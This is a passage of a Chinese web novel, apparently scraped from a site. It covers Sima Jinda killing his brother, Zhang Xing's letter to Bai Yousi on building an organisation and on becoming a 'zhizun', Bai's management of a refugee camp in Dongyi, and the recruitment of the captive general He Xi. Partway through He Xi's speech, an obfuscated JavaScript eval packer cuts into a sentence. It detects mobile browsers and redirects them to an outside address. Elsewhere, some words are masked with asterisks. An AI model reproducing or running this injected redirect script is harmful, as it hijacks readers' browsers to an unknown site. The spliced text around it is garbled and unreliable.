封常早就察觉到气氛不对,此时只是闭口,束手束脚立在那里而已。 司马进达再三叹气,然后霍然站起身来:“大兄,你是不是觉得,到了晚上,我就可以因为这酒里的毒毒发不能为了,你就可以出城投降了?甚至可以先宰了我从容出降?” 屋子里一时鸦雀无声。 司马化达几次开口想做解释,都只是无声而已。 司马进达见状终于懒得再盘桓下去,其人径直起身,走上前去,惊得司马化达惊惶后仰,试图离开。但区区几步距离而已,司马进达只是伸手一薅,便将自家兄长直接从几案后薅了过来。 这个时候,司马化达陡然嚎叫了起来,身上真气也开始乱窜,但仅仅是叫了一声而已,就被自家亲弟拗住脖颈,从后方奋力一拧。 没有什么痛苦,没什么多余挣扎,一下子就安静了。 封常站在那里,纹丝不敢动,瞥了一眼门口肃立却也纹丝不动的司马氏私兵后更是连话都不敢说。 屋子里再度鸦雀无声。 司马进达抱着自家兄长的尸体,缓缓坐到地上,过了许久,方才松开,却又看向了封常:“封舍人,你去跟黜龙帮谈,告诉张行,能不能用司马化达的人头换司马氏的私兵回对面营中,换此地禁军无刑之降?” 封常哆嗦了一下,努力来言:“属下以为必然可行,甚至此间事了,大将军那里就跟黜龙帮直接议和了也说不定。” “那就去做吧。”司马进达催促道。 封常几乎是逃一般离开了这个郡府大堂。 而落日之前,张行便得见到了封常,并得知了城内发生的所有事情……然后,他陡然意识到,一个契机提前来了。 “司马化达**?”一念至此,张大首席看着身前其实在东都有过几次打眼的着名人士,恳切来问。 “是。” “司马进达杀的?” “是。” “司马化达本来也要杀司马进达,却被反杀?” “是。” “那你说司马进达现在是什么情况?”张行继续来问。 封常犹豫了一下,在数十名大小头领的注视下缓缓做答:“说不得已经中了毒,但也说不好,总归是存了死志。” 张行点点头,忽然看向了虞常南:“虞头领,司马化达伏诛,但我军委实不堪再战,我欲存司马进达以作议和,你怎么看?” 虞常南想了一想,出列拱手:“若非首席与帮内诸位同列襄助,我便是拼却性命也动不了司马氏与禁军分毫,如今击破禁军主力,斩杀司马德克,逼杀司马化达,在下已经感激不尽,虽然尚有余怨,也确实至死方休,却也半点不敢对首席与帮内诸位的,反而只有感恩,此恩也只能倾余生来报。” 说完,居然不顾体统,当众在夯土台上俯首下拜,朝着三个方向依次叩首,并自行退回原位。 张行来不及阻拦,也不好阻拦,只是点头,复又指向了徐师仁:“老徐,时候到了,你走一遭东都军大营,说明现在的情况,告诉司马正,此时只有他这个弃父之人可以挽回他七叔这个杀兄之辈,所以,若他来,司马进达或许还有一线生机,不去,他七叔必死无疑。而若是他愿议和,我们便绝不阻拦……再告诉他,千金教主就在淮北,我已经遣人去请了,无论是他七叔还是李十二郎,说不得都是有一线生机的,我不是在糊弄他!” 徐师仁当仁不让,拱手之后,乃是当场化作一道白色镶金的流光,往东都军营地而去。 杜破阵等人见状,也都一时凛然,目送流光飞去。 转头想继续说话,却见坐在正中的张首席居然眯起眼睛,似乎假寐起来,之前因为战和、人事、战略方向而喧嚷的将台之上也莫名继续安静了下去,只有封常一个人孤零零站在那里。 过了大约不过两刻钟,忽然间,一道比之前不知道快了多少的金色流光自北面飞来,越过黜龙军大营,直接砸入谯城城内。 张行睁开了眼睛,看了看身前的封常,忽然来笑:“封舍人,你是不是后悔亲自出来了?” “不后悔!”今天早已经立得双腿发麻的封常扑通一下跪倒在地,学着之前虞常南叩首以对。“在下早在东都便窥得张首席风采,当日在沽水见首席浮马而走,便晓得首席是大英雄,只恨当日修为浅薄不能下定决心跟随,今日终得时宜矣!” 众人目瞪口呆。 便是张行点点头后,也只好四下来看:“今日风儿竟也有些喧嚣了。” 众人也纷纷四下去看,却见热闹了一整日的夏风也居然停了,只有余晖自西面射来……何谈喧嚣? 唯独无论如何,大家也都晓得,不管之前夏风如何喧嚣,梅雨如何绵连,此番事情大约、应该、确实了结了,黜龙帮可以并力北向了。 第三十五章归来行(1) 夏日炎炎,东夷南部重镇济州首府金鳌城外,一处面积极大,却又略显混乱、嘈杂的营地中央,白有思带着刚刚接到的信函回到了自己的木屋内,然后就在窗前坐下,略显期待的打开了这封来自于张行的最新信函。 “我妻思思挚爱,见字如面。 接上次来信诸事之前,另有一事不得不相告,李十二郎清臣死矣。” 抛开那个已经有些习惯的开头,只看了一句话,白有思便怔在那里,迟疑了片刻才看了下去。 “其人伤病许久,之前状若倚靠曹林引东都地气方稍得和缓,与前信所言秦宝之伤略有类似,故曹林既死,秦宝得生,李清臣反而病重。此次交战,不知是否离开东都缘故,我请他协助与司马正交流议和,见面便察觉他气若游丝,方去请正在淮北的千金教主,结果其人面谏司马正后便当场命陨,未及救治。 此事虽然可惜,但查其情状,似乎早有觉悟,促成议和,死而无憾。” 白有思看到这里,深深叹了口气,难得显露几分怅然之色。 且说,自从东都城温柔坊的大小林都知一并死于路途后,她便晓得,这乱世之中不是自家一把剑就能把所有人遮护住的,后来转了一遭天下,看了天下之大与纷扰后,才会选择暂时藏剑,寻求斩天下之剑。 而照理说,从那时开始,她也早有觉悟。 只不过到底是少年相识,多年随从,怎么可能不在意?唯一稍作安慰的,就是三郎信中所言,李十二郎死而无憾了。 “还有议和一事,得益于李十二郎的努力,议和已成,战事已平。我们将禁军俘虏分部,准备将其中与我们交战较多、劫掠地方较多的禁军十一抽杀后依次放回,弃河内、承认淮阳归东都,以换取三年不战、商贸流通、物资交互之密约。 部队已经开始解散,持续七八个月的高烈度作战,使得部队疲敝不堪、伤亡重大,若非中间补充了一次,军队建设几乎要前功尽弃。故此,帮内年内并不准备做任何刀兵,以整军、休整,接收淮河以北地盘为主。对薛常雄也是扰而不打,以外交、收买、离间、袭扰来应对。 具体事宜日后再讲,只是李四郎一如既往惹人嫌。 一来,还是瞧不起我的十一抽杀,嫌我不够凌厉,他甚至认为禁军俘虏可以全部抽杀,少部分东都勇悍精锐可以三一抽杀,以威凌禁军,使之日后不敢再与我们交战,司马正既退兵也只能吃个闷亏,只被我装糊涂过去了。 二来,我们说到部队战力不一,应该适当整合,徐大郎跟我想到了一个主意,那就是给所有步兵配备一张弓、三支箭,或者有力气的带两根投矛,临阵不拘准头,射出去、扔出去再说。我去问李四如何,李四居然说:‘这法子极妙,是徐大郎这种乡下把式能想到的,也适合黜龙帮大部分营头,只是不适合我部正经精锐。’” 饶是刚刚还有些哀戚,白有思此时也不禁嘴角微微翘起,露出不知道是苦笑还是什么促狭的表情,她都能想象得到,李定说这话的语气,跟张行气得心里冒烟,嘴上必然反过来挖苦回去的样子。 “前信中,你曾问我,一曰何以收众心?二曰何以整饬部众,让人能够行动起来……在我看来,这两件事,其实就是一件事,那就是如何让人跟你走……心甘情愿跟你走。” 白有思的表情的严肃了起来,目光也在“跟你走”三个字上面停留了片刻。 “而要做到这一点,无外乎泛泛而谈的几点: 其一,弄清楚这些人的想法跟自己的想法;其二,根据这些人的想法跟你自己的想法定下合适的目标;其三,选拔一些人用合适的制度建立起一个合适的组织;其四,用这个组织来执行你的命令、传达你的意图,收集和控制能得到的资源(包括人力物力时间方向),然后朝着你的目标行动起来。 但是这些过于泛泛而谈了,我也没法到你跟前弄清楚你那边的情况,只能提醒你一些要点。 建立组织首在选人,但选人要因地制宜,不能被出身所囿,包括在弄清所有人想法的时候也不能被出身所囿……这个出身所囿,不止是说要突破界限,大面积放开选拔和询问对象的范畴,更重要一点是,不能带有刻板印象。 关陇贵种里,有你跟司马正、李定这样的天才,也有窦氏子弟那样的废物,即便是司马氏家族里,司马长缨、司马正、司马化达、司马进达四个要害人物的立场、能力、品行也都截然不同。 类似的还有,黜龙帮初期建帮的根基是济水豪强,这些人身上是有很多共性的,而且立场相近,但是,随着黜龙帮地盘的扩大,帮派的成长,这些人摆脱了一开始的那点文武对立后,徐世英的天纵英才、王叔勇的纯粹奋进、单通海的固执坚毅、牛达的沉稳干练,就各自显露了出来。 所以,务必要把每一个人都当成一个人,只有在总结的时候才能把他们归纳起来。 除此之外,你孤悬在东夷,需要猝然临时建立起一个组织,就需要在架构与根基上依靠传统,或者说尊重传统,这样才能让尽量多的人迅速接受……比如说宗教、官府、帮派之类;同时,在高层则应该尽量简洁、直接和坚定,这样才能确保决策的迅速和果断,坚决朝向你的目的进发。 还有,务必要在纪律、政策上保持外柔内刚,甚至是对新纳入者的外宽内忌……要允许跟随你的人有应急和临时的权宜之计,要对愿意服从你的新来者大方、坦诚,但心里始终要保持警惕和怀疑,对于影响你真正目标的人和群体,也要迅速果断的**……这在平时是不对的,会积累出大问题,但对你现在的特殊情况而言则是无奈之举。 因为你的处境太危险了。 当然,还有那个老话题,咱们说过很多遍,我认为,一旦有所决断,还是应该坦坦荡荡的把自己想法说出来,正义的就是正义的,光明的就是光明的,普通人坚持和表达这些都会产生力量,何况是你这样的修为和领袖身份。 最后还有一点,那就是千万不要把任何**活动想象的很美好,真正的**是繁琐的——它们是务虚的**,是辩论比赛一样的会议,是不厌其烦的解释与说明,是周而复始的工作表格和人事活动。 一旦对此产生厌烦,就会变成李枢甚至曹彻那个样子,他们当初也曾不厌其烦,也最终因为焦虑和好高骛远放弃了这些,最后成为了现在的样子。” 白有思反复看了这几段好几遍,又思索许久,方才往下继续看去。 “正事说完,咱们聊聊之前说的闲事,你问我跟那个王氏的镜子人有没有说证位至尊之事?这事当然说过,但依我看来,他言语中明显有些虚实。也就是不说假话,可是对关键信息却有些缺失和遮掩。 他的意思是,证位是没问题的,道路是通的,似乎是暗示无论是谁,只要把东夷也打下来,彻底统一天下,做第一个成此业之人,便可证位做个至尊。这个说法,其实也是符合大部分人猜想的,可我思来想去,却总觉得有些虚妄。 须知道,天下一统之伟业,其实肇始于白帝爷,其人当日出汉水入中原后,几乎势不可挡,统一的业绩也近在眼前,却因为功业极盛,只降服巫族、击败当时妖族大国后,迅速因为人族制霸的业绩证位而去,岂不显得仓促? 当时有传言,青帝爷畏惧白帝爷一直击破东夷,主动下凡,化为白帝爷麾下大将,迅速击破妖族大国,说是神话故事,到底有趣。 后来,天下破碎数百年,祖帝东征,阻于郦月、钱毅,掷刀而‘亡’,对天下统一的推动也极大。当时又有传闻,白帝爷助力祖帝,青帝爷、赤帝娘娘助力郦、钱,几乎就是实情了。 再后来,祖帝‘亡’后,部将继业相争,四御再度下注,唐皇起于关西,数代内渐渐囊吞四面,前期只差南岭与东夷,中期失了北地,继而南渡,但他们到底建设了州郡,消除了天下大部分国中之国……这又是对天下一统的巨大贡献,所以唐皇据说化龙去了白帝爷身边。 那么事到如今,我也好,谁也好,便是越过了这条线,真正的统一了整个天下,是不是真的就能证位呢? 我不以为然。 对于证位至尊这个事情,我其实有一个大胆的猜想,那就是证位之事,需要名实兼具。 譬如白帝爷,其人名义上证位是人族独霸,但人族独霸之功业怎么可能是他一人之成?早在黑帝爷时便已经百族辟易,三族鼎立了。故此,人族独霸只是他证位的名分,实际上其人之功业分散在天下一统、建立制度、修订律法、推进锻造工艺等等等等之上。 类似的,黑帝爷荡魔除怪是名实兼具不错,但也兼有人族兴起、军事发展、拓展宗教之‘实’。 赤帝娘娘搬山造田也是名实兼具,同样兼有妖族割据,发展宫廷艺术、拓展宗教之‘实’。 至于青帝爷,我倒是觉得反了过来,大家都以为祂是教化的名实兼具,我却觉得祂应该是教化之‘实’,驱逐野龙为‘名’,所以才会在撵走那几条龙后猝然登位。 若是真如我想的这般,便是说,‘实’来源不一,却需要真功业的积累,而‘名’,则是天地人事发展形成的特定事物,是早就在摆在那里的,只要率先摸到便可。 换言之,‘实’,便如满蓄之水,‘名’,便如开窍之道,‘名’‘实’交加,便可以倾泻而出,直通大海了。 那么现在问题来了,祂们告诉我,最近的‘名’是一统四海,可我若真有所求的话,我的‘实’又是什么呢?如果我未得‘实’而取‘名’,又会是什么结果呢?反过来呢?” 白有思思考片刻,既有所悟,又有所疑……悟的是,三郎这番猜度确实让人茅塞顿开;疑的是,若如此,正如信中所问,三郎的实又是什么?她白三娘的呢? 再去看信,信后面却是一个字也无了……这不是疏漏,而是省略,省略的什么内容,白有思也心知肚明,他们之前在信中已经讨论了很久关于回归的问题,但是现在回归本身就是个最大的问题,更不要说赤帝娘娘还没有摊手,她甚至都不知道对方想让自己去哪里。 没错,张行跟白有思已经讨论了很久,都认为,只看那场风就知道是最少真龙更似至尊亲自出手,而依照着东夷人的古怪态度来看,这次针对白有思的行动应该不是东夷主人青帝爷的主导,而更像是青帝爷的古老盟友赤帝娘娘手笔。 这种情况下,白有思自己不说回不回,往哪里走,张行在信中一再重复希望对方早日回归,未免显得咄咄逼人。 一次清晰无误的态度表达已经足够了——在第一封信里面,张行便明确写到,希望白有思回来,助他一剑之力。 思索许久,白有思低头看向了腰间一物。 然而,她深呼吸了一口气后,犹豫了一下,但始终没有拿起那个东西,反而是在停了片刻后走出简易的木屋,来到了外面。 外面是一个庞大到过分的营地,夏日阳光照射下,里面有男有女,有老有少,不过青壮比例还是比较大的,这是因为白有思自己带来的一万登州军和随从船队人员都是青壮,除此之外,东夷那位大都督折回的人里面相当一部分是之前三次征伐中的俘虏,尤其是最近一次征伐中从水路而来却被抛弃的徐州军俘虏。 剩下的才是从登州等地来到东夷避难的人和一些其他来源驳杂的奴隶。 白有思立在营地看了一阵子,稍作沉吟,目光扫过远处的海面,便让人将王振、程名起、马平儿、阎庆等人招了过来,然后……嗯,按照黜龙帮的传统,开了个会。 建立组织这话说起来高大上,但实际上,对于白有思这种关陇贵族出身、靖安台公干,又入了黜龙帮的而言,即便是没有这个概念,甚至没有观想某个人,也总会根据自己的经历模仿出特定的东西来,更不要说这次本就带着一支成建制的黜龙军。 只不过,在这封信之前,她也确实忽略了一个事情,或者说犯了一个大错,那就是单纯的把自己索要的俘虏、逃亡人、奴隶当做了受保护者,最多就是让王振收拢一些降兵中还算强健的当做护卫队,却忘了可以从这些人中选拔任用一些其他功能的人,并将所谓组织扩大到其内部。 当然,也缺乏跟这些人的交流。 跟来的几位头领,钱唐人在金鳌城内,其余王振以下,程名起、马平儿、唐百仁、阎庆、王伏贝都在……白有思便将自己想法说了出来,乃是要众人分工明确,王振、王伏贝负责武装保卫,程名起负责大营内的俘虏,马平儿负责逃亡人与奴隶,唐百仁负责营地整体规划使用以及责物资管理,刚刚折回没多久且没有到场的钱唐依旧负责对东夷人的交涉与联络。 至于阎庆。 白有思看了眼阎庆,眼神有点古怪,因为这个被张行专门派来送第一封信的东都亲信,之前在帮里居然就是负责人事的。 这一迟疑,阎庆便有些慌了:“白总管,我做什么?” “你要做人事,搭建一个黜龙帮的分支。”白有思脱口而对。“俘虏跟沦为奴隶的逃亡人有足足数万之众,而且还在源源不断,若只靠我们在外面监管恐怕是不行的,更不要说咱们还要启程,路上更乱,所以,咱们得在这些人里面建立起一个小的黜龙帮……得从他们里面挑人来用,自己管自己。” 阎庆只是一愣,立即点头。 王振张了下嘴,但没有发出声音。 “其余人也是,王振、程名起、马平儿,你们都要派人下去,去问咱们自己的人,问他们想不想家,愿不愿意去俘虏跟逃亡人里面帮忙?问那些俘虏跟逃亡人愿不愿回家?”白有思继续来言。 “肯定都要回的。”王振有些不耐。“谁还想做个奴呢?” 白有思看了一眼这个伏龙卫出身的旧部,后者立即收敛表情,一声不吭了。 “要跟他们讲清楚现在登州跟徐州地盘是安稳的,黜龙帮是要授田的,也要弄清楚这些人里面有没有什么帮会,有没有什么真火教或者其他信奉?”白有思继续吩咐道。“还要弄清楚俘虏里是不是还有人心向大魏,想当个忠义之士回去做官的?是不是有人还对东夷有什么记挂,比如妻子父母分开的?” 话到这里,众人多少是肃然起来。 “一句话。”白有思看着这些人,幽幽来言。“得把所有的事情搞清楚,把所有人搞清楚,咱们才能确保上路时不出岔子。” 这次王振也没有出岔子,只是颔首。 实际上,王振这只猴子在面对白有思或司马正的时候,反而比面对张行时要老实的多。 但是,当日他居然弃了前二者,随张行走了。 也是有趣。 事情分派了下去,众人各自去忙碌,白有思想了一想,干脆学张行做派,就在自己所居木屋前张了一个桌子,摊开纸笔,然后犹豫了一下,将原本放在桌角的长剑横在桌上,方才安心坐定,以待纷扰。 你还别说,之前没做详细调查,只以为这些俘虏跟逃亡人都是没心肝的假人,这次一问却出了端倪。 白有思之前提点的事情一个不差,全都遇到了。 这些人中,帮派和教派居然有十几个,而且大部分都是糅合了帮派和教派,里面信什么的都有,三辉四御是常态,分山君、避海君也能理解,可信奉吞风君或者呼云君的……也不是不能接受,毕竟俘虏中有北地人与江东人。 但是,信奉一征时死掉的麦铁棍,认为麦铁棍本就是神仙转世的,信他腿长能跑回家的,就稍微有点让人疑惑了。 还有信奉大魏皇帝曹彻,认为曹彻真的是陆上至尊的,可以来救他们的……只能说,还真就是忠义之士了。 当然了,真冒出来这么多组织以后,黜龙帮的人反而能够理解了,毕竟,这些人都是刚刚抵达东夷没超过十年的中原人,算是外人,生活习惯什么的都不对路,却又普遍性落到陪隶、奴仆的地步,这种时候就需要一些民间组织来相互帮助,最起码是相互慰藉。 那么军中和民间的帮派、宗教自然迅速扩张了起来。 既然有了信奉曹彻的,不用说,肯定就有对“黜龙贼”感到恐惧和厌恶的,家里有骨肉分离的也不在少数,甚至有在东夷贵人家里做了大奴才,生活体面,根本不想动却被那位大都督一句话给撵来的,几乎是每日以泪洗面……之前大家还以为这人是因为要回家激动的。 总之,事情纷纷扰扰,白有思真的算是涨了见识,却又耐着性子按照张行的提醒进行处置,先是对较大的帮派和有正经信仰的,予以区别任用……信三一正教的和互助性帮派给了最大权限,首领和骨干获得了更好的待遇与相应的管理权力,并要求他们承担起管理责任和宣传鼓动的任务;那些信奉真龙和单独某位至尊的得到了认可,有发言权和待遇,却没有被吸纳入管辖体系获得权力;小的奇怪的信仰,明显意识形态冲突的信仰……比如信曹彻的,则被驱逐出营地;而一些恶名昭彰的帮派和个人则被交到王振那里一刀一个,果断处决。 有些例外的,则是那些有特定信仰的人,比如说信奉分山君、避海君的,因为这两位就在边界上,再加上两位素来有些超出常理的活跃表现,算是不得不防,却又不能够一股脑的切割出去,只能心里划出个道来,警惕着罢了。 至于说真火教跟信奉青帝爷的,虽然说这两位更值得警惕,因为大家沦落至此可能就是这两位搞的事情,但真没办法,人太多了,谁让人家是正经至尊呢? 只能装作不知道罢了。 最后,不忘跟郦子期交涉,要钱、要粮、要药、要柴、要骨肉团聚,甚至要甲胄、弓箭、刀枪。 这些事情,加上营地存在本身引发的骚动,郦子期是一个头两个大,就差乘坐自己那座巨舰出去钓鲸去了,却居然还是强行忍耐,钱粮药不是不能分,柴可以自己打,骨肉团聚倒是可行,但甲胄断然没有,弓箭也无。 最后,商量了一圈,三五日内反复来寻,钱唐来见、白有思来见,最后终于允许拿来一万柄有些损耗的旧**,让这些人充当防身之用,然后三日后又允许拨出软弓三千,箭矢三万。 郦子期自是是一个头两个大,同时期白有思恨不得能生出张行私下故事里的三头六臂来。 原来,随着她渐渐掌握了营地,不能说深入,只是半深半浅的控制了营地内的降兵与逃亡人,就已经激发起了营地的某种“活力”。 一时间,找她来断案的,知道她是白氏嫡女加黜龙帮首席妻子想来投奔的,营地里帮派地域出身对立的,缺特定物资的,建议厕所转移地方的,五花八门呼啦一下就冒了出来。 好像这些诉求原本不存在一般。 白有思无可奈何,只能一面让程名起组织起来一个简易军法部来作**处理,一面当众明确告知,求田问舍无用,想要做官须做事不是不行,她也给得起**承诺,但要去寻阎庆按规矩来。 然而,即便如此,这些人还是纷至沓来,只是将人和事分发给各位头领都够她喝一壶酸梅汤的,遑论还有大量的只有她能决断的总体性事件。 所以还是得坐在那儿听事情。 而且她本人还要坚持每天早晚一个会,入城见一趟郦子期,观察周围地形和船队,巡视营地一个时辰什么的。 说实话,真的枯燥无味,真的让她恨不得直接拔出剑来飞到天上,长啸而去。 相对应的,这个夏天,张行的日子就好过一些了,他最起码真能喝到冰镇酸梅汤,甚至能为整个济阴城公房的人员提供冰镇服务。 之所以停在济阴这里,而不是直接北上,一方面是因为目前主要工作是完成议和,解散和整编部队外加南方的人事安排;另一方面则是因为黜龙帮目前的实际威胁只有一个薛常雄。 “为什么威胁是薛常雄而不北上呢?”济阴城郡府左公房第三间屋子门前,刚刚抵达的王五郎坐在一个条凳上,端着被张首席刚刚冰镇好的酸梅汤认真来问。 就在公房门口的长条状院子里,沿着公房一溜烟的摆着许多条凳,因为已经过了最忙碌阶段,所以许多空闲下来的头领都在这里闲坐说笑喝酸梅汤……至于为什么要在这里喝酸汤……当然是因为张首席在这里,方便冰镇了。 不然呢?还能是什么? 而此时,众人也都纷纷端着汤来看王五郎与张首席说事情,等着张首席做解释。 “因为薛常雄实力有限。”只在门前桌子后面坐着的张行认真作答。“咱们进入河北后跟他前后两战,第一战是攻,第二战是守……攻是趁其不备,但已经说明问题了,而守看似是被动迎战,其实则是薛常雄最后整合河北所谓大魏官方势力的最后一次机会,既然没成,他就永远成不了了……这也是他后来跟白横秋一起时三心二意的缘故,因为他知道自己从那以后只能伏低做小,所以才会不甘。” 王叔勇状若恍然。 “其实,倒不一定是他本人有所觉悟,正是白横秋逼迫他过去这个事情,让他意识到了这一点。”李定忽然插嘴。“所以他才适时起了情绪……换言之,人在局中,都是认不清自己的,总得有人去提醒,这个事情本来该是黜龙帮去做的,却被白横秋做了,所以怨气都朝着白横秋来了,反而给了黜龙帮机会。” “对对对,李龙头言之有理。”张行赶紧点头。“谁还没个脾气?总之,薛常雄现在是有点实力但不多,有点野心但施展不动,有些怨气却硬不起来,这个时候,如果我们摆出一个强硬的姿态,**重兵压回河北,那他反而会强硬起来,跟我们对峙……但如果我们无视他,继续用河北的那十来个营跟他周旋,他难道会坚持下去?这边大破禁军、俘虏太后与皇帝、杀了司马化达跟司马德克,又跟东都军议和的事情,难道他会不知道?” “我晓得了。”王叔勇终于真正醒悟。“他会疑神疑鬼,他知道我们身后有重兵,只要讨不到大便宜,反而会疑惧畏缩……这是兵法上说的,弱的时候要示强,强的时候要示弱。” “正是此意。”张行继续言道。“不过,我们也不会放着他不管的,这一次休整回来,等明年春耕后,就要大举吞并河北,河间薛常雄要灭,幽州罗术也要灭,甚至北地八公七卫还要灭,要一口气推到黑水北海,然后合天下三分之力回身与白、司马决战……” 王五郎听得热血沸腾,几乎就要请战,周围黜龙帮的头领也都入神,便是坐在靠墙条凳上的杜破阵也端着冰镇酸梅汤若有所思,也就是这个时候,公房一墙之隔的郡府前厅檐廊处却忽然一阵嘈杂,几人都立即闭了嘴。 须臾片刻,窦小娘带着十数甲士押着一人过来,在座众人更是纷纷肃然。 无他,来人算是此战最高级别俘虏,原大魏左侯卫将军何稀,也是李定、徐师仁的老上级……此时黜龙军已经从按照密约从对峙前线解散、转移了一多半兵力,俘虏也在部分抽杀后放回了不少,却将这位留到现在,用意不言自明。 见面后,雄伯南和李定原本都想起身,结果看到张行坐在原地不动,却又只能坐了回去。 “何将军,且坐。”张行随手一指,只指了一条被人放到桌对面的条凳。 果然是贼寇做派,明明想要招降自己却连礼节都不通,何稀心中暗暗吐槽,但扫视了一下后,发现几乎所有人都只坐条凳,便是张行屁股下面也是一个条凳,终于无奈,只能坐下。 张行点点头,摊开纸笔,遮盖住桌上的信件,然后便来提笔询问:“何将军,问你几个问题……你怎么看大魏朝廷?” 何稀有点懵,不止是何稀,周围人都有点懵。 “那换个问法,你自成年便入仕,一直都在大魏朝廷里转圜,一直履任到工部尚书、左侯卫将军,那请问你,你觉得大魏朝廷是黑是白?天下在大魏治理下是好是坏?”张行继续来问。 在何稀看来,张行肯定是想要一个特定的答案,但起了抵触心理的他却不想这般回复,而且真要认真回答这个问题,对于经历了许多的他来说也确实有些艰难。 于是乎,其人不但没有回答,反而反问:“张首席也在东都做过黑绶,当过伏龙卫,又觉得大魏朝廷是黑是白,天下是好是坏呢?” “是黑的,是坏的。”张行一面抬手记录,一面脱口而对。“不然我何至于此?” “张首席既然知道答案,为什么又一定要问我呢?”何稀戏谑追问。 “因为我是一个北地排头兵出身的人,做到最高也不过是个伏龙卫黑绶,我看事情,只是从下面往上看,只一条三征使百万户口家破人亡就足以让我豁出去了……所以也不禁好奇,像何将军这种一入仕就摸到关陇贵种的门槛,后来更是日益精进之人,又是如何看这个朝廷与天下的?”张行认真回复。 “我……”何稀这个时候反而不好发作,而其人想了一想,给出一个真心答复。“朝廷算是由白变黑吧……也不止,应该是由白变黑再变白再变黑,两位皇帝都是前期英明神武,没几年就残虐起来,从工程就能看出来……至于天下百姓,好像从第一位皇帝晚年酷烈之后,就一直都不好过了。” 张行点点头,提笔记下。 何稀见状,赶紧补充:“我不是说大魏差到不行,实际上,先帝……我是说开国那位,其实是做了许多事的,相较于之前的南北东西许多皇帝,他已经是顶好的了……不然也不至于是他成了最大的功业,而前面那些皇帝都一个个的不得好**。” “我懂你的意思。”张行点头,只继续来问。“大魏朝之前几百年,天下沦丧,先帝反而是个像模像样的,只不过,那你在其中,亲眼看见先帝晚年变得残暴酷烈,看到曹彻痴迷功业,眼见着朝廷黑白变幻,最后无可救药,可曾想过要如何应对这黑白变幻的朝廷吗?可曾想过要如何对这天下几百年来一直都不好过的百姓吗?” “想过如何,没想过如何?”何稀复又警惕起来。 “想过就是要问是如何想?没想过就是要问是在想什么?”张行认真解释。“我总得知道,何将军跟我们是不是同路人吧?” 总算承认了! 何稀心中冷笑,却也坦诚起来:“都想过,但最终觉得无法,便只一心一意做官了……反正只是个做工匠的,自己不害人便是。” “好。”张行点点头。“那最后一个问题,若阁下有法子让朝廷变白,让天下百姓没那么艰难,你会做吗?” 何稀沉默了一下,在周围许多头领的注视下缓缓作答:“我知道张首席想诱我说什么,也知道张首席是什么意思,但天下人,不管有志无志,有才无才,当此一问,谁又能说一句不会做呢?我自然也是愿意做的。 “只不过张首席,回复此问后我还是要说,你这个假设,太过于轻佻了。实际上便是,于个人而言,想要天下由黑变白,想要世道往好了走,哪怕是倾尽全力,恐怕都动摇不了分毫……若是说,能集合众人建立一个稍微白的朝廷,再去让世道变好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16167990|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也只是痴人说梦,因为人不是木料、土石任由堆砌,人一多就乱,一个变坏的,其余人就都争先恐后的去变坏,生怕自己吃了亏,到时候全都在内耗,又有几个记得一开始的志向呢? “便是退一万步说,大家聚在一起还是要让世道变好的,又如何斗得过那些不管不顾只要赢的其他人呢?” “何将军这话倒是出乎我的意料了。”张行放下笔来,恳切相对。“但既如此,何妨留下来看一看呢?将来的事情不好说,但我们黜龙帮一开始的时候倒确乎是想要让这天下变好的,今日也似乎没有变成你说的那样。” “我留在这里能做什么?”何稀对对方的自矜不置可否,只冷笑一声,反问回来。 “倒不如说,何将军去了东都又能做什么?”张行失笑道。“再把大金柱立起来吗?若是何将军留下来,我倒有几件要紧的事情想托付何将军……比如说,大河金堤许多年没人管了,不知道如何整修?淮北诸水系一直没有系统的水利工程,可不可以做?漳水和济水是不是要疏通?官道也是如此。我们其实设立了一个部来应对这些的,但都是胡乱揪来得几个人,大工程真不敢上手。除此之外,我们设立了蒙基部,准备给所有孩子强制开蒙筑基,但之后,就不管了吗?所以也要建学校……” 话到这里,张行看向了雄伯南:“天王,还记得咱们昨日说的事情吗?” “自然。“雄伯南似乎有些出神,顿了一下,才做回复。“忠嗣学堂,要让死掉兄弟们的后代跟头领们的孩子一起上个学堂,出来之后修为好的参军,学问好的做文书。” “要建学堂。”张行看着有些发愣的何稀正色道。“不光是一个忠嗣学堂,还有个大学堂,每个郡都要建一个中学堂,县里也要建个小学堂,这是首先要做的事情……何将军能帮忙吗?” 何稀欲言又止。 这个时候,李定忽然起身,上前双手握住对方将对方扶起,恳切来言:“何公!没办法了,小子们想做事,但力有未逮,真的靠你帮一帮忙……” 张行也随之起身,在旁拊掌:“世人都说,黜龙帮以成强梁猛虎之势,但要我说,何将军若至,便如猛虎生翅,隐隐如龙了……想要黜龙,先得如龙吧?” 何稀还是不吭声,但众人却晓得,这厮到底是心动了,于是雄伯南、杜破阵以下,无数头领一起起身附和,这个夸那个赞,然后趁机七手八脚护着李定将人推搡出去了。 人走之后,杜破阵先回来,背着手来笑:“首席准备给他个什么职务什么身份?” “头领嘛,去水利道路部做个副的分管。”张行坦诚相告。 “是不是有些小了。”杜破阵明显震惊。“大头领外加一个正经的总管总是可以的……” “没办法了,此一时彼一时。”张行无奈叹道。“若是这位能在战前领兵降了,那自然有这个待遇;要是早几年我们黜龙帮还没过大河去河北便来,孤身过来也是这个待遇;而要是当年跟我们一起起事,也是孤身,被推了做了首席也说不定……” “黜龙帮家大业大了。”杜破阵闻言想了一想,一声叹气。 “确实,已经不是当日来者有份的时候了,往后得制度化,得自己成规模的大量培养。”张行微微颔首道。“像这类降人,除非是特别要害的,否则只能这般处置。” “所以才问了那些问题?”杜破阵正色道。 “对。”张行点了下头,走到桌子前端起酸梅汤,复又放了下去,然后看向了杜破阵。“老杜,你不要忧心……当年芒砀山的情分我记得,这次来援的情分我也记得,我连薛常雄都能容,这何稀都能容,如何不能容你?要我说,只要你也能在心里问一遍刚刚我问的几个事,便是流落到天涯海角,那也是兄弟!何况只是想去淮南争一争局面?” 杜破阵即刻肃然:“我这辈子都不会忘了自己是个偷羊贼!更不会忘了自己是因为吃不上饭才去偷得羊!张三兄弟,我这里给你立个誓,除非是天灾人祸,大家一起吃不上饭,否则我再怎么无能,也都不会让自己管的地方里饿到孩子!” 